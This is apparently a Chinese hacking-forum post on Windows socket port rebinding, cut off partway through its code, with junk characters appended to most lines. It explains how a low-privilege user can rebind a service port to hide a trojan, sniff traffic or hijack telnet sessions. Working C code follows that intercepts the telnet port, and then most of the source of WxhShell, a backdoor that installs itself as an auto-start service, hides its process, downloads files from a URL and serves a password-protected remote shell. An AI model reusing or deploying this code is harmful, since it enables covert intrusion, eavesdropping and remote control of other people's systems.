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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3<x1s2U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~tc,p  
!AXt6z cZ  
  saddr.sin_family = AF_INET; M!wa }  
@B`nM#X#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .fgVzDR|+  
>~;= j~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V8hmfV~=]P  
F$j?}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G"F)t(iX  
g-~]^$  
  这意味着什么?意味着可以进行如下的攻击: aGAeRF  
["_+~*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I~ 1Rt+:  
m9=93W?   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Pi hpo  
J#DN2y <  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )Drif\FF)  
+;ylld  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I=pFGU  
|s'5 ~+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i7b^b>B|e  
:w<Ga8\tZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |jB/d@RE  
R=J5L36F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @~QI3)=s  
?j;,:n   
  #include ~f:"Q(f+  
  #include +>ld  
  #include {%oxzdPc  
  #include    D JZ$M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sOO_J!bblP  
  int main() Aw]kQ\P&  
  { ES\=MO5a7  
  WORD wVersionRequested; S}P rgw/  
  DWORD ret; mb>8=hMg  
  WSADATA wsaData; 5uX-onP\[  
  BOOL val; E*x ct-m#  
  SOCKADDR_IN saddr; /PKu",Azj  
  SOCKADDR_IN scaddr; 7NRm\%^q  
  int err; feJl[3@tO  
  SOCKET s; \<HY'[gr  
  SOCKET sc; 1+#E|YWJ  
  int caddsize; aH dQi,=z  
  HANDLE mt; f28bBuv1?  
  DWORD tid;   \30rF]F`l  
  wVersionRequested = MAKEWORD( 2, 2 ); >QdT 7gB  
  err = WSAStartup( wVersionRequested, &wsaData ); NRT@"3,1YP  
  if ( err != 0 ) { >qVSepK3  
  printf("error!WSAStartup failed!\n"); *\Lr]6k  
  return -1; ^ X-6j[".  
  } @A|#/]S1  
  saddr.sin_family = AF_INET; uD?Rs`  
   dJe 3DW :  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IgN^~ag`  
&O5O@3:7]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L_tjclk0J  
  saddr.sin_port = htons(23); g2?yT ?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w*]FJ-b<.j  
  { {rwT4]4  
  printf("error!socket failed!\n"); X/_89<&  
  return -1; vY7 @1_"  
  } y'!"GrbZ  
  val = TRUE; uvAJJIae'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DkSs^ym  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uu.}<VM.1  
  { ?r{hrAx  
  printf("error!setsockopt failed!\n"); fB 0X9iV6j  
  return -1; 6OB3%R'p  
  } h\2iArw8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F'-XAI <3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +sV~#%%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /I((A /ks  
yp[,WZt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .%!^L#g  
  { TT no  
  ret=GetLastError(); %OsxXO?  
  printf("error!bind failed!\n"); 6a<zZO`Z6+  
  return -1; 6Jq3l_  
  } I1#MS4;$^  
  listen(s,2); 6 FN#Xg  
  while(1) p1\mjM  
  { A+j!VM   
  caddsize = sizeof(scaddr); B>4/[ YHr;  
  //接受连接请求 o7 0] F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); * F_KOf9p  
  if(sc!=INVALID_SOCKET) "jLC!h^N  
  { da i+"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yzMGZi`ut  
  if(mt==NULL) fwiP3*j+Nn  
  { K {  FZ/  
  printf("Thread Creat Failed!\n"); nwMq~I*1  
  break; _ds;:*N+qA  
  } %E"v@  
  } {VXucGI|  
  CloseHandle(mt); 2liJ^ `  
  } G{{M' 1  
  closesocket(s); 0":k[y  
  WSACleanup(); [RF]lM]w  
  return 0; |?]doBm|  
  }   VkO*+"cGv  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1=,y +Xpw  
  { 7#c4.9b?  
  SOCKET ss = (SOCKET)lpParam; N}1yDN  
  SOCKET sc; . :>e"D  
  unsigned char buf[4096]; #WJ*)$A@&  
  SOCKADDR_IN saddr; 1{wbC)  
  long num; 8.>himL  
  DWORD val; ]G D` f  
  DWORD ret; \ @[Q3.VX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |fW_9={1kQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kv6nVlI)B  
  saddr.sin_family = AF_INET; .wmqaLd%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !Qf*d;wxn(  
  saddr.sin_port = htons(23); C,A/29R,s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X# /c7w-  
  { ($>m]|  
  printf("error!socket failed!\n"); ->X>h_k.Y  
  return -1; \*Yr&Lm  
  } lD, ~%  
  val = 100; "vT$?IoEV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?D6|~k i  
  { i(OeE"YA  
  ret = GetLastError(); 6B%  h  
  return -1; G%, RD}D  
  } z [ 'G"yCi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZzjCS2U  
  { 2wDDVUwyB  
  ret = GetLastError(); Zxhbnl6  
  return -1; YaL:6[6  
  } q3#+G:nh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (Q @'fb9z  
  { /%s:aO  
  printf("error!socket connect failed!\n"); c/ih%xR  
  closesocket(sc); `R>z{-@=  
  closesocket(ss); TVx `&C+  
  return -1; "wuO[c&%/  
  } K[ [6A:  
  while(1) %q~q,=H$]  
  { fm`V2'Rm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +iFt)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 | oK9o6m4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~;a \S3  
  num = recv(ss,buf,4096,0); HsUh5;  
  if(num>0) #r]Z2Y]  
  send(sc,buf,num,0); .)_2AoT7[  
  else if(num==0) 096Yd=3h  
  break; H17I" 5N  
  num = recv(sc,buf,4096,0); la)^`STh  
  if(num>0) AS@(]T#R  
  send(ss,buf,num,0); }]PHE(}7  
  else if(num==0) \D(3~y>  
  break; 1^2Q`~,g  
  } <nN.$4~X  
  closesocket(ss); P.5l9N s(O  
  closesocket(sc); L<0_e^8  
  return 0 ; # =tw ,S  
  } ,a,2I  
)5LT!14  
(3lA0e`Y  
========================================================== HKJBR)T  
S2;^  
下边附上一个代码,,WXhSHELL VgODv  
1:<(Q2X%  
========================================================== rhy-o?  
16Jq*hKU  
#include "stdafx.h" 5lJL[{  
]X77?Zz9  
#include <stdio.h> N0-J=2  
#include <string.h> DKu$u ]Z  
#include <windows.h> 'QxJU$  
#include <winsock2.h> H@Ot77(*  
#include <winsvc.h> fn=A_ i  
#include <urlmon.h> VOZxLyj^9  
w5{l-Z  
#pragma comment (lib, "Ws2_32.lib") #IZh}*$  
#pragma comment (lib, "urlmon.lib") r A(A$VR  
GT)7VFrL  
#define MAX_USER   100 // 最大客户端连接数 @$n $f  
#define BUF_SOCK   200 // sock buffer !CcDA/0  
#define KEY_BUFF   255 // 输入 buffer yDKH;o  
(lVMy\  
#define REBOOT     0   // 重启 c6#E gN,X  
#define SHUTDOWN   1   // 关机 -` ViuDX=  
=g! Pw]  
#define DEF_PORT   5000 // 监听端口 D|*w6p("z  
L;u5  
#define REG_LEN     16   // 注册表键长度 5;HGS{`  
#define SVC_LEN     80   // NT服务名长度 |[Fb&x  
hN6wp_  
// 从dll定义API ){w{#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gqy>;A:kO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -5+Yz9pv[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1' U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *2->>"kh  
?L7DVwVa,I  
// wxhshell配置信息 2=n`z) R  
struct WSCFG { 1xd6p  
  int ws_port;         // 监听端口 6bhb_U'f  
  char ws_passstr[REG_LEN]; // 口令 < $e#o H  
  int ws_autoins;       // 安装标记, 1=yes 0=no n}IGxum8`  
  char ws_regname[REG_LEN]; // 注册表键名 xZ P SUEG  
  char ws_svcname[REG_LEN]; // 服务名 R$hIgw+p[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,++HiYOG}e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  gmbRH5k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q|h$D~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X5[vQ3^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qi7C.w;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U\H[.qY-  
|<h}'  
}; [B;okW  
t-KicLr  
// default Wxhshell configuration /~w*)e)  
struct WSCFG wscfg={DEF_PORT, r^}0 qO,XM  
    "xuhuanlingzhe", 3kC|y[.&  
    1, .Iqqjk  
    "Wxhshell", xm1di@  
    "Wxhshell", pXO09L/nv  
            "WxhShell Service", ah,f~.X_|  
    "Wrsky Windows CmdShell Service", $M,<=.oT  
    "Please Input Your Password: ", 4tLdqs  
  1, PHqg~q;*  
  "http://www.wrsky.com/wxhshell.exe", J.R\h!  
  "Wxhshell.exe" 6384$mT,S  
    }; ygIn6.p  
.ZF%$H  
// 消息定义模块 M' z.d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g^+p7G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LxhS 9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ajk}&`Wj"  
char *msg_ws_ext="\n\rExit."; B2Y.1mXq  
char *msg_ws_end="\n\rQuit."; NL$z4m0  
char *msg_ws_boot="\n\rReboot..."; GkI'.  
char *msg_ws_poff="\n\rShutdown..."; XdCP!iq*8  
char *msg_ws_down="\n\rSave to "; n({%|O<|  
b.RU%Y#>\  
char *msg_ws_err="\n\rErr!"; 6c-3+,Y"#  
char *msg_ws_ok="\n\rOK!"; ?[zw5fUDS  
AF"7 _  
char ExeFile[MAX_PATH]; `i cs2po  
int nUser = 0; GJcxqgk$  
HANDLE handles[MAX_USER]; 4z( B`t~7  
int OsIsNt; xRacgny:I  
7:?\1 a  
SERVICE_STATUS       serviceStatus; w=;>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "NLuAB. P  
Hq:: F?  
// 函数声明 .(q'7Q Z/  
int Install(void); [?I<$f"  
int Uninstall(void); HP]5"ziA  
int DownloadFile(char *sURL, SOCKET wsh); OS@uGp=  
int Boot(int flag); s2SV   
void HideProc(void); y4h =e~  
int GetOsVer(void); N s0,Z#Z+  
int Wxhshell(SOCKET wsl); "ymR8 y'  
void TalkWithClient(void *cs); 5s3QN{h8  
int CmdShell(SOCKET sock); iKrk?B<  
int StartFromService(void); we`BqZV  
int StartWxhshell(LPSTR lpCmdLine); SXqB<j$.;  
?g4Rk9<!i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V/2NIh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '[liZCg  
CdRJ@Lf  
// 数据结构和表定义 ?s$d("~  
SERVICE_TABLE_ENTRY DispatchTable[] = GxD`M2  
{ #;ObugY,  
{wscfg.ws_svcname, NTServiceMain}, [%bGs1U  
{NULL, NULL} OgIRI8L  
}; %50)?J=zB  
qA!p7"m|  
// 自我安装 N? Jy  
int Install(void) 3#t#NW*e  
{ f EL 9J{  
  char svExeFile[MAX_PATH]; 9zqo!&  
  HKEY key; v[ML=pL  
  strcpy(svExeFile,ExeFile); 4Z%1eOR9V  
<L4$f(2  
// 如果是win9x系统,修改注册表设为自启动 3S+9LOrhY  
if(!OsIsNt) { PF/K&&9}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o!+%|V8Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D(']k?  
  RegCloseKey(key); 7 nnF!9JOv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *:xOenI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2YZ>nqy  
  RegCloseKey(key); |D-[M_T5  
  return 0; d~~, 5E  
    } )TiM>{  
  } ;]grbqXVE  
} d"Zu10  
else { I m I$~q'  
I?PqWG!O  
// 如果是NT以上系统,安装为系统服务 X$6NJ(2G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2T+-[}*  
if (schSCManager!=0) ^4 $4x  
{ i \NV<I  
  SC_HANDLE schService = CreateService 1xS+r)_n@  
  ( :po6%}hn  
  schSCManager, ;: _K,FU  
  wscfg.ws_svcname, SZe55mK`  
  wscfg.ws_svcdisp, ;@qS#7SRB  
  SERVICE_ALL_ACCESS, _"Bj`5S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M#o.O?.`  
  SERVICE_AUTO_START, ``jNj1t{}  
  SERVICE_ERROR_NORMAL, 1!(lpp  
  svExeFile, Y}R$RDRL  
  NULL, 2 G_KTYJ  
  NULL, +U<YM94?  
  NULL, B@M9oNWHu  
  NULL, <9X@\uvU.<  
  NULL yR|2><A  
  ); uFSU|SDd.  
  if (schService!=0) M]6+s`?r  
  { \78^ O  
  CloseServiceHandle(schService); n?cC]k;P~  
  CloseServiceHandle(schSCManager); 082iE G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dV B#Np  
  strcat(svExeFile,wscfg.ws_svcname); *KDTBd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [pTdeg;QE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -W^{)%4g  
  RegCloseKey(key); 7oF3^K'S  
  return 0; {Cm!5QYy  
    } d*{Cv2A.  
  } l,h`YIy  
  CloseServiceHandle(schSCManager); W>a}g[Ad  
} }~zDcj_  
} )/ 'WboL  
n-8/CBEH(  
return 1; %z@ Z^Jv  
} N,qo/At}R[  
xk~gGT&  
// 自我卸载 }p6]az3  
int Uninstall(void) 0yC~"u[N Y  
{ `.pEI q^  
  HKEY key; ! 1I# L!9  
)  M0(vog  
if(!OsIsNt) { Ygk_gBRiC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R q@|o5O  
  RegDeleteValue(key,wscfg.ws_regname); L>IP!.J]?  
  RegCloseKey(key); 1ygEyC[1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G(wK(P0j  
  RegDeleteValue(key,wscfg.ws_regname); BH {z]a  
  RegCloseKey(key); I ==)a6^  
  return 0; 'qT;Eht5  
  } 5&Yt=)c\  
} zs]ubJC@  
} sc+%v1Y#}  
else { J@/4CSCR]  
k@lJ8(i^qU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \0 h>!u  
if (schSCManager!=0) 18NnXqe-m  
{ ;6PU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VI4mEq,V  
  if (schService!=0) c>D~MCNxg  
  { u=InE|SH  
  if(DeleteService(schService)!=0) { Jkj7ty.J  
  CloseServiceHandle(schService); kl:/PM^  
  CloseServiceHandle(schSCManager); Ywhhs }f  
  return 0; y%%VJ}'X!  
  } >gzM-d  
  CloseServiceHandle(schService); n(Nu  
  } :1qLRr  
  CloseServiceHandle(schSCManager); K!CVS7  
} 5B:"$vC{=  
} QEqYqAGzu|  
/ Q@4HV  
return 1; eG(YORkR  
} /~'C!so[v  
r~T!$Tb  
// 从指定url下载文件 LAk .f  
int DownloadFile(char *sURL, SOCKET wsh) X8Z) W?vu  
{ ]'xci"qV`  
  HRESULT hr; gBV4IQ  
char seps[]= "/"; GEy7Vb)  
char *token; " J9  
char *file; 5fk A?Ecqq  
char myURL[MAX_PATH]; 3HtM<su*h  
char myFILE[MAX_PATH]; I-!7 EC2{!  
kIS )*_  
strcpy(myURL,sURL); E8kD#tL  
  token=strtok(myURL,seps); IIY_Q9in  
  while(token!=NULL) Qc*p+N+$  
  { W gyRK2#!  
    file=token; `?=3[  
  token=strtok(NULL,seps); A nl1+  
  } ]*a(^*}A%  
axC{azo|  
GetCurrentDirectory(MAX_PATH,myFILE); hJ8&OCR }  
strcat(myFILE, "\\"); 7hn[i,?` H  
strcat(myFILE, file); 7#"NKxb  
  send(wsh,myFILE,strlen(myFILE),0); :|5 m"X\  
send(wsh,"...",3,0); cu}(\a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UUWRC1EtI  
  if(hr==S_OK) ASi2;Q_{_  
return 0; I52nQCXi  
else 0);5cbV7i  
return 1; -<x%  
o0No"8DnjH  
} l,Q`;v5|  
31^/9lb  
// 系统电源模块 90+Vw`Gz=  
int Boot(int flag) +arh/pd_I  
{  j7_,V?5z  
  HANDLE hToken; r+%3Y:dZE  
  TOKEN_PRIVILEGES tkp;  =AaF$R  
66>X$nx(z  
  if(OsIsNt) { Nt\07*`qCr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -]KgLgJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4Wz1O$*  
    tkp.PrivilegeCount = 1; pSQ2wjps  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qdk!.A{   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vr1r2G2  
if(flag==REBOOT) { :1f,%Z$,q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j^#\km B  
  return 0; WVQHb3Pe0  
} 7n .A QII  
else { C\"C12n{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  Hvz;[!  
  return 0; %fld<O  
} _gK}Gi?|  
  } ZJbaioc\  
  else { -{*3<2rFK  
if(flag==REBOOT) { ]+ub R;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OF1^_s;  
  return 0; BIMX2.S1o  
} [YlRz  
else { $H@   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oAN,_1v)  
  return 0; ~-sgk"$  
} EK>x\]O%T  
} `>KNa"b%$  
&'e+`\  
return 1; T)22P<M8  
} FB?V<x  
uh 9b!8  
// win9x进程隐藏模块 V 7~9z\lW  
void HideProc(void) z I9jxwXU  
{ ysp,:)-%G@  
fMf;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s3ASA.*  
  if ( hKernel != NULL ) bp8sZK"z  
  { dh{py  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x^[0UA]S9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !|VtI$I>x  
    FreeLibrary(hKernel); ~^Al#@  
  } s$f9?(,.Ay  
5R.jhYAj  
return; #%GBopv  
} G1X73qoHT<  
)qX.!&|I  
// 获取操作系统版本 lgt&kdc%o  
int GetOsVer(void) &9v8  
{  !N\_D  
  OSVERSIONINFO winfo; cc=_KYZ1k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -2laM9Ed  
  GetVersionEx(&winfo); }<2|6 {  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v^/<2/E"?4  
  return 1; 4Z{R36 {  
  else b't6ekkN  
  return 0; :L:] 3L  
} \A!I ln  
NmpNme  
// 客户端句柄模块 WB (?6"  
int Wxhshell(SOCKET wsl) uUBUUr  
{ WM$Z?CN%KB  
  SOCKET wsh; 'YN:cr,V  
  struct sockaddr_in client; fUq}dAs*K  
  DWORD myID; xV`)?hEXFh  
mOjjw_3gq  
  while(nUser<MAX_USER) 'Q7t5v@FF  
{ * kL>9  
  int nSize=sizeof(client); e=jtF"&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "j&p3  
  if(wsh==INVALID_SOCKET) return 1; C_[ d  
01aw+o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ze+S_{  
if(handles[nUser]==0) | Cfo(]>G  
  closesocket(wsh);  .;vd  
else UK8k`;^KI  
  nUser++; 0^2e^qf  
  } rP6k}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z __#P Q,n  
9)b{U2&  
  return 0; x)q$.u+  
} E>QEI;  
)OlYz!#?  
// 关闭 socket Vhm^<I-d  
void CloseIt(SOCKET wsh) sdewz(xskj  
{ v<0S@9~  
closesocket(wsh); N'5DB[:c:  
nUser--; RzB64  
ExitThread(0); *:l$ud  
} La^Zr,T!  
}ZwnG=7T?  
// 客户端请求句柄 {qry2ZT5  
void TalkWithClient(void *cs) eEmLl(Lb  
{ lm'.G99{  
?K.!^G  
  SOCKET wsh=(SOCKET)cs; 1Ji"z>H*  
  char pwd[SVC_LEN]; <(qdxdUp  
  char cmd[KEY_BUFF]; e [F33%  
char chr[1]; Uzn  
int i,j; eLyIQoW  
.lc gM  
  while (nUser < MAX_USER) { jd+HIR  
!wrAD"l*@  
if(wscfg.ws_passstr) { x||b :2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lnxA/[`a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oo\~' I  
  //ZeroMemory(pwd,KEY_BUFF); @zix %x  
      i=0; sg]g;U  
  while(i<SVC_LEN) { @[rlwwG,  
r7)iNTQ1  
  // 设置超时 E?m W4?  
  fd_set FdRead; .e:+Ek+  
  struct timeval TimeOut; NXE1v~9V  
  FD_ZERO(&FdRead); "yXqf%CGE  
  FD_SET(wsh,&FdRead); 8H SGOs =8  
  TimeOut.tv_sec=8; F|WH=s3  
  TimeOut.tv_usec=0; okW'}@jD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pb :6nH=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =gB{(  
G~4|]^`g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ht5:kt`F  
  pwd=chr[0]; 0`WZ  
  if(chr[0]==0xd || chr[0]==0xa) { Y7yzM1?t  
  pwd=0; @qsOWx`l$  
  break;  hP 1;$  
  } y|.dM.9V  
  i++; A<g5:\3  
    } rHtX4;f+><  
495(V(+5  
  // 如果是非法用户,关闭 socket Au?(_*/0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yr:$)ap  
} *-_joAWTG  
t`4o&vsj=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qc:Sf46O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a@gm r%C  
RKz _GEH)  
while(1) { y|D-W>0cX3  
`VOLw*Ci  
  ZeroMemory(cmd,KEY_BUFF); ]JHY(H2|  
"  6  
      // 自动支持客户端 telnet标准   'seuO!5  
  j=0; _k W:FB  
  while(j<KEY_BUFF) { ]h&?^L<.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \cq.M/p  
  cmd[j]=chr[0]; :&D$Q 4  
  if(chr[0]==0xa || chr[0]==0xd) { Z@:R'u2Lk  
  cmd[j]=0; }pPt- k  
  break; k Nw3Qr  
  } }4I;<%L3`  
  j++; n!XSB7d~X  
    } d e~3:  
s!BZrVM%I`  
  // 下载文件 t+SLU6j,  
  if(strstr(cmd,"http://")) { j(=zc6m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TsZX'Yn  
  if(DownloadFile(cmd,wsh)) E@;v|Xc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1^=[k  
  else : ]JsUb{YK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \"@`Rf   
  } >za=v  
  else { L`Q9-#Y  
04<T2)QgK  
    switch(cmd[0]) { D61e  
  }=."X8zOI8  
  // 帮助 s=|&NlO$  
  case '?': { 4?&CK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S{ !m})1?  
    break; &28n1  
  } S1n 'r}z8  
  // 安装 Y~bGgd]T  
  case 'i': { Y3wL EG%,:  
    if(Install()) rO{"jJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j~Xn\~*n  
    else 4&LoE~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TMQu'<?V  
    break; O/R>&8R$  
    } y0XI?Wr  
  // 卸载 ]^\+B4  
  case 'r': { $JXQn  
    if(Uninstall()) mJ5LRpXN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h?:Y\DlU'  
    else u~d&<_Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DK;/eZe  
    break; 0CO6-&F9n  
    } TS<uBX  
  // 显示 wxhshell 所在路径 IyA8+N y  
  case 'p': { 9Fh(tzz  
    char svExeFile[MAX_PATH]; YPq`su7m9  
    strcpy(svExeFile,"\n\r"); zuZlP  
      strcat(svExeFile,ExeFile); &gR)bNIC_=  
        send(wsh,svExeFile,strlen(svExeFile),0); H}c, P('  
    break; P%Ux-0&  
    } *8CE0;p'k  
  // 重启 Q,`Y  
  case 'b': { 6.'+y1yS)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Iq[,)$  
    if(Boot(REBOOT)) $ /(H%f&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a?!Joi[  
    else { NeyGIEP  
    closesocket(wsh); /`Lki>"  
    ExitThread(0); (Dl68]FX  
    } y0' "  
    break; w8g36v*+(u  
    }  0-+`{j  
  // 关机 Vkb&' rXw+  
  case 'd': { ZvO:!u0+"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uQ.VW/>  
    if(Boot(SHUTDOWN)) BPd]L=,/  
